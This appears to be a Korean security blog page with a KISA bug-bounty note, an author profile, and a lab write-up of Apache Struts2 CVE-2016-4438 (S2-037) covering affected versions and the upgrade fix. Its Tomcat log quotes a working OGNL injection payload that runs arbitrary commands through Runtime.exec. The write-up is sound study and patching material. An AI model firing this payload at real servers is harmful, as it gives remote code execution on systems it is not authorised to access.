프로젝트 투입 전 지난 5월 말 KISA에 S/W 신규 취약점 신고 접수를 하고,


한 달 정도 시간이 흐른 뒤 6월 말 취약점 평가 결과 안내 메일을 받을 수 있었다.



이전에 N사 취약점 3개를 KISA를 통해 신고하였으나 당시에는 "서비스"를 대상으로 한 취약점은 평가 대상이 아니어서 별도의 안내 메일은 없었으나 


추후 취약점이 제거된 것으로 보아 신고된 취약점은 KISA에서 잘 관리하였던 것 같다.


이번에는 특정 어플리케이션을 대상의 취약점을 신고한 터라 우수 취약점으로 선정되어 평가 결과에 대한 확인도 할 수 있었다.



현재 몇 가지 취약점을 분석 중인데 바뻐서 언제 정리하여 신고할지 미지수...


3개월간 로그인도 못해 계정도 정지중이었는데... ㄷㄷ





'about' 카테고리의 다른 글

About me  (0) 2018.05.31

About me...



Summary

- c0pyc4t1996

- Daegu

- Consultant & Engineer

- http://securityse.tistory.com

- c0pyc4t1996@gmail.com



Detail [준비중]

2018

-


2017

-

-


2016

-

-


2015


2014


...



'about' 카테고리의 다른 글

S/W 신규 취약점 신고포상제 (KISA 버그 바운티) 후기  (0) 2018.08.31

Apache Struts2 취약점 CVE-2016-4438 (S2-037) 개요 및 실습



 

1. 개요

- REST Plugin 사용 시 원격 공격자가 제작된 표현식을 통해 임의의 코드 실행 가능



2. 영향받는 버전

- Apache Struts 2.3.20 ~ 2.3.28.1 (REST Plugin 사용 시 발생)



3. 릴리즈 일자

2016/05/02



4. 대응방안

- Apache Struts 버전 2.3.29로 업그레이드

- Apache Struts 2.3.29로 업그레이드 시 OGNL 표현식의 호환성 문제 발생 가능함



5. 참고자료

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4438

https://nvd.nist.gov/vuln/detail/CVE-2016-4438

https://cwiki.apache.org/confluence/display/WW/S2-037



6. POC(Proof Of Concept)

 

1) Victim 환경

- Windows 10 Pro

- Java 1.7.8_80

- Apache Tomcat 7.0.54

- Apache Struts 2.3.28



2) Attacker 환경

- CentOS 6 x64



3) 취약점 Scanning



4) 취약점 공격(exploit)



5) catalina.out log


 1 11, 2018 2:26:01 오후 org.apache.struts2.rest.RestActionInvocation error

심각: Exception processing the result.

java.lang.IllegalStateException: getWriter() has already been called for this response

        at org.apache.catalina.connector.Response.getOutputStream(Response.java:602)

        at org.apache.catalina.connector.ResponseFacade.getOutputStream(ResponseFacade.java:196)

        at org.apache.struts2.rest.DefaultContentTypeHandlerManager.handleResult(DefaultContentTypeHandlerManager.java:187)

        at org.apache.struts2.rest.RestActionInvocation.executeResult(RestActionInvocation.java:232)

        at org.apache.struts2.rest.RestActionInvocation.processResult(RestActionInvocation.java:197)

        at org.apache.struts2.rest.RestActionInvocation.invoke(RestActionInvocation.java:145)

        at com.opensymphony.xwork2.DefaultActionProxy.execute(DefaultActionProxy.java:147)

        at org.apache.struts2.dispatcher.Dispatcher.serviceAction(Dispatcher.java:567)

        at org.apache.struts2.dispatcher.ng.ExecuteOperations.executeAction(ExecuteOperations.java:81)

        at org.apache.struts2.dispatcher.ng.filter.StrutsPrepareAndExecuteFilter.doFilter(StrutsPrepareAndExecuteFilter.java:99)

        at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:241)

        at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:208)

        at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:220)

        at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:122)

        at org.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:501)

        at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:171)

        at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102)

        at org.apache.catalina.valves.AccessLogValve.invoke(AccessLogValve.java:950)

        at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:116)

        at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:408)

        at org.apache.coyote.http11.AbstractHttp11Processor.process(AbstractHttp11Processor.java:1040)

        at org.apache.coyote.AbstractProtocol$AbstractConnectionHandler.process(AbstractProtocol.java:607)

        at org.apache.tomcat.util.net.JIoEndpoint$SocketProcessor.run(JIoEndpoint.java:314)

        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145)

        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615)

        at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)

        at java.lang.Thread.run(Thread.java:745)

 

1 11, 2018 2:26:01 오후 org.apache.struts2.rest.RestActionInvocation info

정보: Executed action [/orders!(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)?(#wr=#context[#parameters.obj[0]].getWriter(),#rs=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#parameters.command[0]).getInputStream()),#wr.println(#rs),#wr.flush(),#wr.close()):xx.toString!json!200] took 135 ms (execution: 49 ms, result: 86 ms)




+ Recent posts